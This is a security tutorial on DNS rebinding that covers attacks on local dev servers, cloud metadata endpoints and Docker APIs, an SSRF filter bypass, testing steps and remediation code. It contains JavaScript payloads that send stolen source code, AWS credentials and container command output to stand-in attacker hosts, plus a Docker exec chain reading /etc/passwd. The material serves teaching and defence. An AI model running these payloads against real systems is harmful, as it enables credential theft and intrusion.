DNS Rebinding: How a Browser Visits Your localhost
There's a mental model most developers carry around about localhost: it's safe because it's not accessible from the internet. The firewall doesn't touch it. External traffic can't reach it. Whatever's running on 127.0.0.1:3000, your dev server, your local API, your Docker socket, is invisible to the outside world.
DNS rebinding breaks that assumption completely. It doesn't punch through the firewall. It doesn't need to. It turns the victim's own browser into the attack client, making requests to localhost on your behalf, from inside the same-origin boundary you trusted.
This is why it keeps showing up in bug bounty disclosures against developer tooling, cloud metadata endpoints, and internal APIs. The attack surface is enormous, the prerequisites are low, and most developers running local services have never thought about it.
How the same-origin policy and DNS interact
The Same-Origin Policy (SOP) prevents JavaScript on evil.com from reading responses from app.com. Two URLs share an origin if their protocol, hostname, and port all match. This is the foundational browser security model.
DNS rebinding exploits a gap in how this policy handles DNS changes over time. The browser enforces SOP by origin, the hostname, not by the IP address that hostname currently resolves to. If evil.com resolves to 93.184.216.34 when you first visit it, and then later resolves to 127.0.0.1, the browser still considers all requests from that page to be going to evil.com, the same origin.

The critical insight from the diagram: when the JS calls fetch('/data') after the DNS rebind, the browser resolves evil.com again and now gets 127.0.0.1. It sends the request to the local machine. The local service responds (it trusts localhost connections). The browser reads the response, because it thinks it's still talking to evil.com, the same origin. The attacker's JS then fetches that data to an external endpoint.
No firewall rules apply. No network-level block fires. The request originated from the victim's own browser.
Attack target 1: Vite dev server
Vite is the build tool behind virtually every modern React, Vue, and Svelte project. When you run npm run dev, it starts an HTTP server on port 5173 by default. Vite did not perform validation on the Host header, which means any website could send arbitrary requests to the development server, bypassing the same-origin policy. This was patched in January 2025 (GHSA-vg6x-rcgg-rjx6), but the class of vulnerability is still present in any HTTP-only dev server that lacks Host header validation.
The attack payload is a simple HTML page hosted on the attacker's server:
<!-- evil.com/attack.html, served while DNS points to attacker's IP -->
<script>
// Phase 1: We're on evil.com, which currently resolves to attacker's server
// The page loads, JS runs, we wait for TTL to expire
function waitForRebind() {
// Keep trying to reach the Vite dev server
// Once DNS rebinds, these requests hit 127.0.0.1:5173
fetch('<http://evil.com:5173/src/main.tsx>')
.then(r => r.text())
.then(code => {
// Phase 2: DNS now points to 127.0.0.1
// Browser reads source code from localhost dev server
// Exfiltrate to attacker-controlled endpoint
fetch('https://attacker.com/collect', {
method: 'POST',
body: JSON.stringify({ source: code, env: location.href })
});
})
.catch(() => {
// Not rebinded yet, retry
setTimeout(waitForRebind, 500);
});
}
waitForRebind();
</script>
Once rebinded, the attacker can read any file the Vite dev server serves, which includes your source code, and critically, the .env file if Vite's @fs escape hatch is reachable. Environment files routinely contain database connection strings, API secrets, and AWS credentials.
In December 2025, a critical vulnerability in the Model Context Protocol TypeScript SDK (CVE-2025-66414, CVSS 7.6) allowed malicious websites to send arbitrary requests to MCP servers running on localhost. No browser warning, no CORS error, just silent access to your filesystem, databases, and APIs through locally running MCP tools. The attack vector was identical: DNS rebinding against an HTTP-only local server with no Host header validation.
Attack target 2: Cloud metadata APIs (169.254.169.254)
This is the highest-impact variant. AWS, GCP, and Azure all expose instance metadata at 169.254.169.254, a link-local address accessible only from within the instance. On EC2, hitting /latest/meta-data/iam/security-credentials/<role> returns temporary AWS credentials: AccessKeyId, SecretAccessKey, Token.
DNS rebinding reaches it when the target is a headless browser, screenshot service, PDF renderer, or any server-side tool that follows URLs, including security scanners running inside EC2.
The attack worked against a screenshot tool running inside EC2: by setting up a web server that redirected to http://169.254.169.254/latest/meta-data/iam/security-credentials/, and having the screenshot worker take a screenshot of the page, the worker was redirected to the metadata URL, resulting in a screenshot of the available IAM roles.
For the browser-based version using rbndr.us (Tavis Ormandy's public rebinding service):
// rbndr.us format: <hex-ip1>.<hex-ip2>.rbndr.us
// alternates between two IPs on each DNS query
// c6336401 = 198.51.100.1 (attacker's server)
// a9fea9fe = 169.254.169.254 (AWS metadata)
// Use: c6336401.a9fea9fe.rbndr.us
// First query → 198.51.100.1 (loads page)
// Second query → 169.254.169.254 (rebinds to metadata)
async function stealAWSCredentials() {
const domain = 'c6336401.a9fea9fe.rbndr.us';
while (true) {
try {
const resp = await fetch(`http://${domain}/latest/meta-data/iam/security-credentials/`);
const text = await resp.text();
if (text.includes('iam') || text.match(/^[A-Za-z]/)) {
// Rebind succeeded — text now contains the IAM role name
// A second fetch to /security-credentials/<role> yields
// AccessKeyId, SecretAccessKey, Token — exfiltrate immediately
navigator.sendBeacon('https://attacker.com/creds', text);
break;
}
} catch(e) {}
await new Promise(r => setTimeout(r, 200));
}
}
stealAWSCredentials();
In a real bug bounty case, the researcher used 7f000001.a9fea9fe.rbndr.us to alternate between 127.0.0.1 and 169.254.169.254. Out of 30 requests, only 1 in 30 resolved to the metadata IP, but that one successful request was enough to access the targeted information and earn a bounty.
A single successful resolution, even 1 in 30 attempts as documented in real bounty reports; is enough to retrieve the role name and retrieve temporary credentials on the follow-up request.
IMDSv2 requires a PUT request to get a session token first, which makes pure GET-based rebinding fail against it. But IMDSv1, still enabled on many older instances, requires no token. Always check whether the target's EC2 instances have IMDSv1 disabled.
Why does IMDSv2 stop this?
It’s not just about changing GET to PUT. IMDSv2 requires the attacker's JavaScript to send a custom HTTP header (X-aws-ec2-metadata-token-ttl-seconds). The browser's Same-Origin Policy enforces that sending custom headers cross-origin requires a CORS preflight (OPTIONS) request. Because the local metadata service does not return CORS headers allowing the attacker's domain, the browser blocks the request before it ever leaves the victim's machine.
Attack target 3: Docker socket and Kubernetes APIs
Developers routinely expose the Docker daemon socket on TCP port 2375 for convenience. The Docker REST API at localhost:2375 has no authentication by default. If rebinding reaches it:
With no authentication and a full REST API surface, an attacker can list every running container, exec into any of them, and read arbitrary files from the host, all from JavaScript running in a browser tab. The code below shows the exec chain. In practice, attackers use this to escape container isolation and reach host credentials, SSH keys, or pivot deeper into the internal network.
// After DNS rebind to 127.0.0.1:
// List all running containers
fetch('http://evil.com:2375/containers/json')
.then(r => r.json())
.then(containers => {
// containers = [{Id: "abc123", Names: ["/webapp"], ...}]
// Exec a command inside the first container
return fetch(`http://evil.com:2375/containers/${containers[0].Id}/exec`, {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({
AttachStdout: true,
AttachStderr: true,
Cmd: ['cat', '/etc/passwd']
})
});
})
.then(r => r.json())
.then(exec => {
// Start the exec
return fetch(`http://evil.com:2375/exec/${exec.Id}/start`, {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({Detach: false, Tty: false})
});
})
.then(r => r.text())
.then(output => navigator.sendBeacon('https://attacker.com/data', output));
Kubernetes also exposes the kubelet API on 10250 (authenticated) and 10255 (read-only, sometimes open). The API server at localhost:8080 or localhost:6443 is the target in a Kubernetes context. Any of these reachable via rebinding from a compromised internal browser session constitutes a critical finding.
DNS rebinding as an SSRF filter bypass
This is where DNS rebinding meets bug bounty in the most practical way. Many applications have SSRF filters that block requests to 127.0.0.1, RFC1918 ranges, and 169.254.169.254. The classic bypass: TOCTOU (time-of-check to time-of-use).
The vulnerability is between socket.gethostbyname() and requests.get(). The application resolves the hostname to check the IP, then requests.get() resolves it again to actually connect. If the DNS response changes between those two calls, the blocklist is bypassed.
# Vulnerable SSRF filter, classic TOCTOU pattern
import socket, requests
def fetch_url(url):
hostname = urlparse(url).hostname
ip = socket.gethostbyname(hostname) # ← check happens here
# Block internal IPs
if ip.startswith('127.') or ip.startswith('169.254.'):
raise ValueError("Blocked IP")
# But requests.get() resolves DNS AGAIN here ↓
return requests.get(url) # ← use happens here
# Attack: rebinding domain resolves to public IP at check time
# then resolves to 169.254.169.254 at fetch time
fetch_url('http://attacker-rebind-domain.rbndr.us/metadata')
The fix requires pinning the resolved IP and connecting to it directly, not re-resolving the hostname at connection time.
How to test for DNS rebinding vulnerabilities
Using rbndr.us for quick SSRF testing:
# rbndr.us format: hex(ip1).hex(ip2).rbndr.us
# Convert IPs to hex:
python3 -c "import socket; print(socket.inet_aton('127.0.0.1').hex())"
# 7f000001
python3 -c "import socket; print(socket.inet_aton('169.254.169.254').hex())"
# a9fea9fe
# Rebinding domain that alternates 127.0.0.1 ↔ 169.254.169.254:
# 7f000001.a9fea9fe.rbndr.us
# Test if target app follows redirects to it:
curl -s "https://target.com/fetch?url=http://7f000001.a9fea9fe.rbndr.us"
# Keep sending until you get a response from 127.0.0.1
Check for vulnerable localhost services:
# Scan for common dev server ports on a target's internal network
# (use during authorized internal assessments)
nmap -p 3000,5173,8080,8443,9000,2375,10255 --open 127.0.0.1
# Check Vite specifically
curl -sI http://localhost:5173/ | grep -i vite
# Check Docker socket exposure
curl -s http://localhost:2375/version | jq .
# Check for Kubernetes kubelet read-only API
curl -s http://localhost:10255/pods | jq '.items[].metadata.name'
Testing Host header validation (key to identifying rebinding-vulnerable services):
# A service vulnerable to rebinding won't validate the Host header
# Simulate what happens after rebind, use a spoofed Host header:
curl -H "Host: evil.com" http://localhost:5173/src/main.tsx
# If this returns file content instead of 403 → rebinding-vulnerable
# The service trusts the request because it came from localhost
# but doesn't check that Host matches an allowed value
Singularity of Origin, full DNS rebinding toolkit:
# For a complete rebinding lab setup:
git clone https://github.com/nccgroup/singularity
cd singularity
# Configure your DNS server and attack page
# Browse to http://rebinder.yourdomain:8080/autoattack.html
# Select target port and attack payload
# The framework handles the full rebinding cycle automatically
Remediation
For service developers:
The fix for any HTTP-based local service is Host header validation, reject any request where the Host header doesn't match an explicitly allow-listed value.
The fix is Host header validation, reject any request where the Host value doesn't match a hardcoded allowlist. The service should never trust that a request arrived on localhost just because it's bound to 127.0.0.1.
// Express.js, validate Host header before handling request
const ALLOWED_HOSTS = new Set(['localhost', '127.0.0.1', '::1']);
app.use((req, res, next) => {
const host = req.hostname; // strips port
if (!ALLOWED_HOSTS.has(host)) {
return res.status(403).json({ error: 'Forbidden host' });
}
next();
});
// Vite vite.config.js, fixed approach (post-patch):
export default {
server: {
host: 'localhost', // don't bind to 0.0.0.0
allowedHosts: ['localhost'] // explicitly allowlist
}
}
For applications with SSRF filters:
Resolve the hostname to an IP once, validate that IP, then connect to the IP directly, not to the hostname again.
Pin the IP at resolution time, validate it, then connect to that IP directly. Any code that calls the hostname a second time, even inside a library; is vulnerable to a rebind between those two calls.
import socket, ipaddress, requests
from urllib.parse import urlparse
BLOCKED_NETWORKS = [
ipaddress.ip_network('127.0.0.0/8'),
ipaddress.ip_network('169.254.0.0/16'),
ipaddress.ip_network('10.0.0.0/8'),
ipaddress.ip_network('172.16.0.0/12'),
ipaddress.ip_network('192.168.0.0/16'),
]
def safe_fetch(url):
parsed = urlparse(url)
hostname = parsed.hostname
port = parsed.port or (443 if parsed.scheme == 'https' else 80)
# Resolve once
ip = socket.gethostbyname(hostname)
addr = ipaddress.ip_address(ip)
# Validate
for network in BLOCKED_NETWORKS:
if addr in network:
raise ValueError(f"Blocked: {ip} is in {network}")
# Connect to the IP directly, NOT re-resolving hostname
target_url = url.replace(hostname, ip)
return requests.get(target_url, headers={'Host': hostname})
Note on HTTPS: The requests.get() pattern above works perfectly for internal HTTP endpoints (which is what DNS rebinding targets). However, if the target URL uses HTTPS, passing the raw IP address to requests.get will cause the TLS handshake to fail, because the underlying SSL library will verify the certificate against the IP address instead of the hostname (SNI). Handling secure TOCTOU-safe HTTPS requests in Python requires a lower-level library like urllib3 with custom server_hostname parameters.
For cloud deployments:
Disable IMDSv1 on all EC2 instances and enforce IMDSv2. On AWS, you can require this at the account level using Service Control Policies.
IMDSv2 stops browser-based rebinding at the protocol level by requiring a custom header on the initial PUT, which CORS preflight blocks cross-origin. But it only protects you if IMDSv1 is actually disabled; enforce this at the account level, not instance by instance.
# Disable IMDSv1 on a running EC2 instance
aws ec2 modify-instance-metadata-options \\
--instance-id i-1234567890abcdef0 \\
--http-tokens required \\
--http-put-response-hop-limit 1
# Enforce IMDSv2 across all new instances in the account via SCP
# Denies any ec2:RunInstances where MetadataOptions.HttpTokens != "required"
References
- Vite DNS Rebinding, GHSA-vg6x-rcgg-rjx6, January 2025
- MCP TypeScript SDK DNS Rebinding, CVE-2025-66414, December 2025
- We Hacked Ourselves with DNS Rebinding, Intruder.io, AWS metadata credential theft via screenshot tool
- DNS Rebinding Against SSRF Protections, Behrad Taher, 2025, TOCTOU bypass of resolve-then-fetch patterns
- Bypassing SSRF Filters via DNS Rebinding, Mohsin Khan, HackerOne, 1-in-30 probabilistic rebind bounty writeup
- Singularity of Origin, NCC Group DNS Rebinding Toolkit
- rbndr.us, Simple DNS Rebinding Service (Tavis Ormandy)
- PayloadsAllTheThings, DNS Rebinding
- Node.js --inspect DNS Rebinding, HackerOne #1069487